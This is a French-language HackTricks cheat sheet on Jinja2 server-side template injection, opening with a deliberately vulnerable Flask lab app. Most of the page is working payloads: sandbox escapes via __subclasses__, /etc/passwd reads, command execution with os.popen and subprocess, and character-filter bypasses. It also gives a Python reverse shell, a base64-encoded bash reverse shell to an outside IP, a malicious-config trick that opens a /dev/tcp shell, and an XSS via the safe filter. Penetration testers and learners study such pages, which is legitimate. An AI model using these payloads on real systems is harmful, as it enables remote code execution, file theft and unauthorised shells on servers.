14 KiB
Jinja2 SSTI
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Divers
Instruction de débogage
Si l'extension Debug est activée, une balise debug
sera disponible pour vider le contexte actuel ainsi que les filtres et tests disponibles. Cela est utile pour voir ce qui est disponible à utiliser dans le modèle sans configurer un débogueur.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Vider toutes les variables de configuration
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Injection Jinja
Tout d'abord, dans une injection Jinja, vous devez trouver un moyen de sortir du sandbox et de récupérer l'accès au flux d'exécution python régulier. Pour ce faire, vous devez abuser des objets qui sont issus de l'environnement non-sandboxé mais qui sont accessibles depuis le sandbox.
Accéder aux Objets Globaux
Par exemple, dans le code render_template("hello.html", username=username, email=email)
les objets username et email proviennent de l'environnement python non-sandboxé et seront accessibles à l'intérieur de l'environnement sandboxé.
De plus, il y a d'autres objets qui seront toujours accessibles depuis l'environnement sandboxé, ce sont :
[]
''
()
dict
config
request
Récupération de <class 'object'>
Ensuite, à partir de ces objets, nous devons atteindre la classe : <class 'object'>
afin d'essayer de récupérer les classes définies. Cela est dû au fait qu'à partir de cet objet, nous pouvons appeler la méthode __subclasses__
et accéder à toutes les classes de l'environnement python non-sandboxé.
Pour accéder à cette classe objet, vous devez accéder à un objet classe puis accéder soit à __base__
, __mro__()
[-1] ou .
mro()[-1]
. Ensuite, après avoir atteint cette classe objet, nous appelons __subclasses__()
.
Vérifiez ces exemples :
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
Évasion de l'exécution de code à distance (RCE)
Ayant récupéré <class 'object'>
et appelé __subclasses__
, nous pouvons maintenant utiliser ces classes pour lire et écrire des fichiers et exécuter du code.
L'appel à __subclasses__
nous a donné l'opportunité d'accéder à des centaines de nouvelles fonctions, nous serons satisfaits juste en accédant à la classe de fichier pour lire/écrire des fichiers ou à toute classe ayant accès à une classe qui permet d'exécuter des commandes (comme os
).
Lire/Écrire un fichier distant
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Exécution de commande à distance (RCE)
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
Pour en savoir plus sur d'autres classes que vous pouvez utiliser pour échapper, vous pouvez consulter :
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Contournements de filtres
Contournements communs
Ces contournements nous permettront d'accéder aux attributs des objets sans utiliser certains caractères.
Nous avons déjà vu certains de ces contournements dans les exemples précédents, mais résumons-les ici :
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Retournez ici pour plus d'options d'accès à un objet global
- Retournez ici pour plus d'options d'accès à la classe d'objet
- Lisez ceci pour obtenir une exécution de commande à distance sans la classe d'objet
Éviter l'encodage HTML
Par défaut, Flask encode en HTML tout l'intérieur d'un template pour des raisons de sécurité :
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
Le filtre safe
nous permet d'injecter du JavaScript et du HTML dans la page sans que cela soit codé en HTML, comme ceci :
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
Exécution de code à distance par écriture d'un fichier de configuration malveillant.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Sans plusieurs caractères
Sans {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Injection Jinja sans <class 'object'>
À partir des objets globaux, il existe une autre manière d'obtenir un RCE sans utiliser cette classe.
Si vous parvenez à accéder à n'importe quelle fonction de ces objets globaux, vous pourrez accéder à __globals__.__builtins__
et à partir de là, le RCE est très simple.
Vous pouvez trouver des fonctions à partir des objets request
, config
et tout autre objet global intéressant auquel vous avez accès avec :
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les builtins avec :
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Références
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Vérifiez l'astuce attr pour contourner les caractères sur liste noire ici.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.